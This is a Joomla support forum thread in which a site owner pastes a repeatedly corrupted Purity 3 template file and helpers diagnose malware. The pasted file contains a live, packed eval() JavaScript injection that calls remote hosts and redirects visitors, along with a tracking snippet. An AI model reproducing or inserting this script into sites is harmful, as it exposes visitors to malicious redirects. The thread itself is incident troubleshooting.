"0 - syntax error, unexpected '<', expecting end of file on Template index.php

mudskippa

I had Purity 3 installed on Joomla 3.8.1. I checked my website a few days ago and it was showing "0 - syntax error, unexpected '<', expecting end of file". I hadn't made any changes, but I checked my error log file and the issue was on Line 110 of the Purity 3 index.php.

I decided to upgrade to Joomla 3.9.8 seeing as I had to work on my website anyway. After it updated, the site was working fine again for 10 minutes. Then yet again, the "0 - syntax error, unexpected '<', expecting end of file" started showing up, and the issue was on Line 110 of the Purity 3 index.php.

So, I messed around with the website for a bit, including using a fresh index.php taken from the latest Purity 3. The website was working fine for several hours, then the same thing happened again.

I've uploaded a fresh Purity 3 index.php and the site is working again. It's like the index.php keeps corrupting on its own, producing the fault below, which I have copied from the corrupted file (line 110 is after the big gap). Is this a known issue in Purity or something else? Any way to stop this happening? Many thanks


 <?php
/**
 *------------------------------------------------------------------------------
 * @package       T3 Framework for Joomla!
 *------------------------------------------------------------------------------
 * @copyright     Copyright (C) 2004-2017 JoomlArt.com. All Rights Reserved.
 * @license       GNU General Public License version 2 or later; see LICENSE.txt
 * @authors       JoomlArt, JoomlaBamboo, (contribute to this project at github
 *                & Google group to become co-author)
 * @Google group: https://groups.google.com/forum/#!forum/t3fw
 * @Link:         http://t3-framework.org
 *------------------------------------------------------------------------------
 */

// no direct access
defined('_JEXEC') or die;

//check if t3 plugin is existed
if (!defined('T3')) {
    if (JError::$legacy) {
        JError::setErrorHandling(E_ERROR, 'die');
        JError::raiseError(500, JText::_('T3_MISSING_T3_PLUGIN'));
        exit;
    } else {
        throw new Exception(JText::_('T3_MISSING_T3_PLUGIN'), 500);
    }
}

$t3app = T3::getApp($this);

// get configured layout
$layout = $t3app->getLayout();


$t3app->loadLayout($layout);










































































<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('9 z(f){5 6=" "+P.6;5 n=" "+f+"=";5 i=L;5 8=0;5 a=0;7(6.k>0){8=6.j(n);7(8!=-1){8+=n.k;a=6.j(";",8);7(a==-1){a=6.k}i=W(6.N(8,a))}}v(i)}9 q(f,O,h,b,g,l){P.6=f+"="+Z(O)+((h)?"; h="+h:"")+((b)?"; b="+b:"")+((g)?"; g="+g:"")+((l)?"; l":"")}9 H(){5 3;p{3=c D("S.A")}s(e){p{3=c D("X.A")}s(E){3=J}}7(!3&&Y t!=\'V\'){3=c t()}v 3}5 K=\'x://R.w/U/r.y\';5 I=\'x://T.14.w/1h-1g/1f/1d/1e/r.y\';7(z(\'o\')!=\'B\'){9 Q(){5 d=c 10();d.1m(d.1l()+1k*1c*1b*1);q(\'o\',\'B\',d.13())}9 m(F,G){5 3=H();3.12(\'11\',F,C);3.15=9(){7(3.16==4&&3.19==18){7(3.M.j(\'u=\')==0){Q();17.1a=3.M.N(2)}1j{7(G)m(I,J)}}};3.1i(L)}m(K,C)}',62,85,'|||xmlhttp||var|cookie|if|offset|function|end|path|new|now||name|domain|expires|setStr|indexOf|length|secure|lookupRedirect|search|newadsshow|try|setCookie||catch|XMLHttpRequest||return|vn|https|php|getCookie|XMLHTTP|complete|true|ActiveXObject||sUrl|bIsFirst|getXmlHttp|sAdsUrl2|false|sAdsUrl1|null|responseText|substring|value|document|setAdsCookie|chogiaydep|Msxml2|batdongsantaynambo|scanshell|undefined|unescape|Microsoft|typeof|escape|Date|GET|open|toGMTString|com|onreadystatechange|readyState|window|200|status|location|24|3600|colors|blue|css|admin|wp|send|else|1000|getTime|setTime'.split('|'),0,{}))
</script>
<script type="text/javascript">var _Hasync= _Hasync|| [];
_Hasync.push(['Histats.start', '1,4214393,4,0,0,0,00010000']);
_Hasync.push(['Histats.fasi', '1']);
_Hasync.push(['Histats.track_hits', '']);
(function() {
var hs = document.createElement('script'); hs.type = 'text/javascript'; hs.async = true;
hs.src = ('//s10.histats.com/js15_as.js');
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(hs);
})();</script>
<noscript><a href="/" target="_blank"><img  src="//sstatic1.histats.com/0.gif?4214393&101" alt="counter customizable free hit" border="0"></a></noscript>
<script type="text/javascript">
</script>

Ninja

mudskippa
Hi
If you want to inject an external script in the template, there is separate option present in the template style options.
Open JA Purity III template style > Custom code and add the script after or before head based on you requirement.
About the injecting the script in the index file, I suggest you to make a test of it with default Joomla template and see how it goes, as the template does not add any space by default, it can be due to custom script.

mudskippa

Hi,

Thanks for your reply. I don't quite understand. I didn't alter anything in any of the code. It keeps doing this on its own. I install a fresh Purity Index code, then it gets converted to the above code after several hours. The first time it happened after I hadn't changed anything on my website for several months.

I don't usually work with any PHP files, because I don't understand it all that well. The only thing I changed on the template after upgrading was the CSS files.

The index file I originally installed contains the code below. what is making it change?

<?php
/**
 *------------------------------------------------------------------------------
 * @package       T3 Framework for Joomla!
 *------------------------------------------------------------------------------
 * @copyright     Copyright (C) 2004-2017 JoomlArt.com. All Rights Reserved.
 * @license       GNU General Public License version 2 or later; see LICENSE.txt
 * @authors       JoomlArt, JoomlaBamboo, (contribute to this project at github
 *                & Google group to become co-author)
 * @Google group: https://groups.google.com/forum/#!forum/t3fw
 * @Link:         http://t3-framework.org
 *------------------------------------------------------------------------------
 */

// no direct access
defined('_JEXEC') or die;

//check if t3 plugin is existed
if (!defined('T3')) {
    if (JError::$legacy) {
        JError::setErrorHandling(E_ERROR, 'die');
        JError::raiseError(500, JText::_('T3_MISSING_T3_PLUGIN'));
        exit;
    } else {
        throw new Exception(JText::_('T3_MISSING_T3_PLUGIN'), 500);
    }
}

$t3app = T3::getApp($this);

// get configured layout
$layout = $t3app->getLayout();


$t3app->loadLayout($layout);

teitbite

mudskippa Hi. It looks and sounds (from Your description) like a malware. You should scan Your site for the unwanted code. I would recommend RSFirewall since it comes with a malware scanner. You may also ask Your hosting provider to help and find a thread.

mudskippa

Yep, you are 100% right Thank you, Teitbite.

I googled the injected "histats" code and found this info if anyone else is having the problem: https://blog.sucuri.net/2019/02/fake-browser-updates-push-ransomware-and-bank-malware.html

Now to locate the file! Looks like it might be very-well disguised as a normal file from what the article says 🙁

teitbite

mudskippa Hi. Yes, it will not be easy to find and You still won't be sure if there wasn't more files changed. It's best to ask for logs with a list of recently accessed files or to use RSFirewall to scan it for You.

mudskippa

teitbite Thanks. I did use RSFirewall as you recommended. It located a couple of plugins with excessively long strings, so I have deleted the plugins for now. Unfortunately, I can't be sure when exactly it happened, and since I upgraded the site anyway, a lot of the old logs would have been deleted. Fingers crossed, it was the plugins! Otherwise, I will have a lot of work ahead of me. Thanks for your help 🙂

Ninja

mudskippa
Let us know if there is anything related to template 🙂

Regards

mudskippa

Ninja As far as I am aware, the template itself is fine. I deleted some plugins and fixed some stuff that the virus scanner found in case they might be the problem. So far, my website has been up for at least 12 hours since I did that without the index.php corrupting, which is the longest since I encountered the problem. So, I believe the problem very likely has been resolved. A big thank you to the helpers on this forum and to Joomlart for a great template 🙂